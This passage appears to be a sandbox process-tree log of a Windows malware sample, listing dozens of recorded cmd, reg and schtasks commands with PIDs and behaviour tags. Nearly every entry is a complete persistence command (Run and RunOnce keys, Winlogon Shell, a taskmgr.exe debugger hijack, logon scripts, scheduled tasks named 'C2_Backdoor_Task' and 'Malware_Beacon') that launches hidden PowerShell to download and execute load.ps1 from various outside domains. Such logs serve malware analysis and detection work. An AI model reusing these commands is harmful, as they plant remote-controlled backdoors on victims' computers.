  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://w88.legal/load.ps1')\"" /f
  2⤵
  PID:5416
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://w88.legal/load.ps1')\"" /f
    3⤵
    PID:9992
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://news.uppscportal.in/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:5424
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://news.uppscportal.in/load.ps1')\"" /f
    3⤵
    PID:4148
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa6ix.com/load.ps1')\"" /f
  2⤵
  PID:5448
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa6ix.com/load.ps1')\"" /f
    3⤵
    PID:10100
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.467timebet.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Time Discovery
  PID:5552
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.467timebet.com/load.ps1')\"" /f
    3⤵
    - System Time Discovery
    PID:10108
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hamana.cc/load.ps1')\"" /f
  2⤵
  PID:5628
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hamana.cc/load.ps1')\"" /f
    3⤵
    PID:2196
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
  2⤵
  PID:5648
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
    3⤵
    PID:1516
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:5700
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:10088
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ae.org/load.ps1')\"" /f
  2⤵
  PID:5772
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ae.org/load.ps1')\"" /f
    3⤵
    PID:2792
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa899.co/load.ps1')\"" /f
  2⤵
  PID:5800
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa899.co/load.ps1')\"" /f
    3⤵
    PID:1788
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://penze.yify-go-123-az-movies.com/load.ps1')\"" /f
  2⤵
  PID:5856
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://penze.yify-go-123-az-movies.com/load.ps1')\"" /f
    3⤵
    PID:7320
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://news.uppscportal.in/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:5864
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://news.uppscportal.in/load.ps1')\"" /f
    3⤵
    PID:9720
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://w88.legal/load.ps1')\"" /f
  2⤵
  PID:5896
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://w88.legal/load.ps1')\"" /f
    3⤵
    PID:2840
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa6ix.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:5904
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa6ix.com/load.ps1')\"" /f
    3⤵
    PID:9184
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gurdas-maan.hindibios.in/load.ps1')\"" /f
  2⤵
  PID:5920
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gurdas-maan.hindibios.in/load.ps1')\"" /f
    3⤵
    PID:3580
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.467timebet.com/load.ps1')\"" /sc onlogon /f
  2⤵
  - System Time Discovery
  PID:5968
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.467timebet.com/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2596
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:6096
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6476
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hamana.cc/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:5192
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hamana.cc/load.ps1')\"" /f
    3⤵
    PID:4916
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.467timebet.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - System Time Discovery
  PID:5620
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.467timebet.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1140
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://news.uppscportal.in/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:4624
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://news.uppscportal.in/load.ps1')\"" /f
    3⤵
    PID:5436
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://penze.yify-go-123-az-movies.com/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:2924
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://penze.yify-go-123-az-movies.com/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2940
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa6ix.com/load.ps1')\"" /f
  2⤵
  PID:2252
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa6ix.com/load.ps1')\"" /f
    3⤵
    PID:7180
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://w88.legal/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:5472
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://w88.legal/load.ps1')\"" /f
    3⤵
    PID:5300
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ae.org/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:5480
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ae.org/load.ps1')\"" /f
    3⤵
    PID:9340
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
  2⤵
  PID:6012
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
    3⤵
    PID:8992
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa899.co/load.ps1')\"" /f
  2⤵
  PID:6220
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa899.co/load.ps1')\"" /f
    3⤵
    PID:10664
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ae.org/load.ps1')\"" /f
  2⤵
  PID:6496
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ae.org/load.ps1')\"" /f
    3⤵
    PID:7648
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://shop.anagro.in/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:6504
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://shop.anagro.in/load.ps1')\"" /f
    3⤵
    PID:5316
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hamana.cc/load.ps1')\"" /f
  2⤵
  PID:6512
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hamana.cc/load.ps1')\"" /f
    3⤵
    PID:10892
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:6628
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11028
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://w88.legal/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:6672
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://w88.legal/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11180
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://monitor.vpslog.net/load.ps1')\"" /f
  2⤵
  PID:6700
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://monitor.vpslog.net/load.ps1')\"" /f
    3⤵
    PID:5808
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa6ix.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:6708
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa6ix.com/load.ps1')\"" /f
    3⤵
    PID:9324
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://penze.yify-go-123-az-movies.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:6716
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://penze.yify-go-123-az-movies.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5624
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gurdas-maan.hindibios.in/load.ps1')\"" /f
  2⤵
  PID:6724
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gurdas-maan.hindibios.in/load.ps1')\"" /f
    3⤵
    PID:2684
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://news.uppscportal.in/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:6748
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://news.uppscportal.in/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:10952
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa899.co/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:6776
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa899.co/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11100
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://forum.hazardedit.com/load.ps1')\"" /f
  2⤵
  PID:6800
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://forum.hazardedit.com/load.ps1')\"" /f
    3⤵
    PID:9728
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ae.org/load.ps1')\"" /f
  2⤵
  PID:6824
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ae.org/load.ps1')\"" /f
    3⤵
    PID:10292
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://di.beckham.in/load.ps1')\"" /f
  2⤵
  PID:7052
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://di.beckham.in/load.ps1')\"" /f
    3⤵
    PID:10944
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hamana.cc/load.ps1')\"" /f
  2⤵
  PID:5468
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hamana.cc/load.ps1')\"" /f
    3⤵
    PID:3124
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://shop.anagro.in/load.ps1')\"" /f
  2⤵
  PID:4700
- - C:\Windows\SysWOW64\reg.exe
